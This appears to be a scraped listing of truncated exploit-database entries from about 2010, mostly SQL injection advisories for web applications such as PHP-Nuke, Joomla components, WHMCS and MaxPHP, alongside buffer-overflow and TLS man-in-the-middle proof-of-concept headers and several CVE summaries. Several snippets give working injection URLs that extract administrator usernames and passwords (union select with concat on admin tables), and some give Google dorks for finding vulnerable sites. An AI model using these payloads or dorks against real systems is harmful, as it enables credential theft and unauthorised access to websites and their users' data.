PHP-Fusion 4.01 - SQL Injection

Exploit Title: PHP-Fusion v4.01 SQL INJECTION Vulnerabilities Date: 17/05/2010 Author: Ma3sTr0-Dz Software Link: http://www.php-fusion.co.uk Version: 4.01 CVE : N/A Code : exploit code =======================================================PHP-Fusion v4.01 SQL INJECTION...

Alibaba Clone Platinum - 'about_us.php' SQL Injection

------------------------------------------------------------------------------------------- Alibaba Clone Platinum aboutus.php SQL Injection Vulnerability ------------------------------------------------------------------------------------------- Author: CoBRa21 Mail: [email protected] Scrip...

PHP-Nuke 5.0 - Viewslink SQL Injection

PHP-Nuke 5.0 - Viewslink SQL Injection Author: CMD Contact: [email protected] Dork: allinurl: op=viewslink&sid= =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-= Code : Exploit 1: /links.php?op=viewslink&sid=-1//union//select//0,aid//from//nukeauthors//where//radminsuper=1/...

CLScript.com Classifieds Software - SQL Injection

Exploit Title: CLScript.com Classifieds Software SQL Injection Vunerability Date: 27-4-2010 Author: 41.w4r10r Vendor Link : http://www.clscript.com/ Version: Web Application Tested on: Apcahe/Unix CVE : if exists Dork : intext:"Powered by CLscript.com" Code :...

WHMCS Control SQL Injection

=Info======================================================================= Software: WHMCS control WHMCompleteSolution Sql Injection Vulnerability: Remote Sql Injection Google Dork: Powered by WHMCompleteSolution - or " inurl:WHMCS Off. site: www.MiXaTy.com...

CmS 5.0 SQL Injection

----------------------------------------------------------------------- CmS id SQL Injection Vulnerability ----------------------------------------------------------------------- Author : spykit Site : http://devilzc0de.org/ Date : April, 22-2010 Location : Jakarta, Indonesia Time Zone : GMT +7:0...

RPM Select/Elite 5.0 Buffer Overflow

!/usr/bin/python RPM Select/Elite v5.0 .xml config parsing unicode buffer overflow PoC Found by: mrme - http://net-ninja.net/ Homepage: http://lpd.brooksnet.com/ Download: http://www.brooksnet.com/download-rpmselect Tested on: Windows XP SP3 Advisory:...

RPM Select/Elite 5.0 - '.xml Configuration parsing' Unicode Buffer Overflow (PoC)

!/usr/bin/python RPM Select/Elite v5.0 .xml config parsing unicode buffer overflow PoC Found by: mrme - http://net-ninja.net/ Homepage: http://lpd.brooksnet.com/ Download: http://www.brooksnet.com/download-rpmselect Tested on: Windows XP SP3 Advisory:...

CVE-2010-0854

CVE-2010-0854 affects Oracle Database (versions including 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7) in the Audit component. The issue is described as an unspecified vulnerability that could let remote authenticated users influence integrity related to auditing on tables, per the NVD entry...

Joomla! Component com_jdrugstopics - SQL Injection

Joomla! Component comjdrugstopics - SQL Injection Title: Joomla Component comjdrugstopics SQL Injection Vulnerability Author: SadHaCkEr Data : 2010-04-12 InformatioN AUTHOR: SadHaCkEr Email: [email protected] ANY ONE IF U lucky U will Find Me Website: http://www.sadx.297m.com/ Forum :...

maxphp video system vulnerabilities-vulnerability warning-the black bar safety net

play. php?& amp;m=1&n=1&id=1%cf’+and+1=2+union+select+1,concatadminname,0x20,password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8+from+maxadmin%2 3 View to password, you can log in directly to the background...

Joomla component huruhelpdesk SQL injection Vulnerability

Exploit for php platform in category web applications ========================================================= Joomla component huruhelpdesk SQL injection Vulnerability ========================================================= Exploit Title: joomla component huruhelpdesk SQL injection...

Miranda IM TLS MitM Proof Of Concept

!/usr/bin/perl Miranda IM TLS MitM Proof of Concept by Jan Schejbal, 2010-03-19 MAY WORK WITHOUT MODIFICATIONS AGAINST OTHER CLIENTS WITH THIS ISSUE! Generally: Will work if client also accepts unencrypted connections if the server reports that TLS is not supported. Tested only on WinXP SP3 with...

SeaMonkey < 2.0.4 Multiple Vulnerabilities

Binary data 5495.prm...

SeaMonkey < 2.0.4 Multiple Vulnerabilities

The installed version of SeaMonkey is earlier than 2.0.4. Such versions are potentially affected by the following security issues : - Multiple crashes can result in arbitrary code execution. MFSA 2010-16 - A select event handler for XUL tree items can be called after the item is deleted. MFSA...

CVE-2010-1097

include/userlogin.class.php in DeDeCMS 5.5 GBK, when session.autostart is enabled, allows remote attackers to bypass authentication and gain administrative access via a value of 1 for the SESSIONdedeadminid parameter, as demonstrated by a request to uploads/include/dialog/selectsoftpost.php...

CVE-2010-0733

Integer overflow in src/backend/executor/nodeHash.c in PostgreSQL 8.4.1 and earlier, and 8.5 through 8.5alpha2, allows remote authenticated users to cause a denial of service daemon crash via a SELECT statement with many LEFT JOIN clauses, related to certain hashtable size calculations...

Online Community CMS by I-net - SQL Injection

Exploit Title: Online Community CMS by I-net SQL Injection Vulnerability Date: 16-03-2010 Author: Th3 RDX Software Link: www.i-netsolution.com/online-community-php-scripts.html Version: Tested on: Projects Made By Them category: webapp Code :...

Joomla! Component com_route - SQL Injection

Joomla comroute&kid Sql Injection Vulnerability N2n-Hacker ----- [email protected] Searching = ---" option=comroute "--- USING = http://www.site.com/index.php?option=comroute&kid=-35022+ UNION+SELECT+1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21 FROM JOOMLA...

Sun MySQL Database SELECT Subquery Denial of Service

MySQL is a popular open-source implementation of a relational database that supports the Structured Query Language SQL for querying and updating stored data. Communication with the database occurs using the MySQL protocol. As with other database implementations, MySQL has a number of built-in SQL...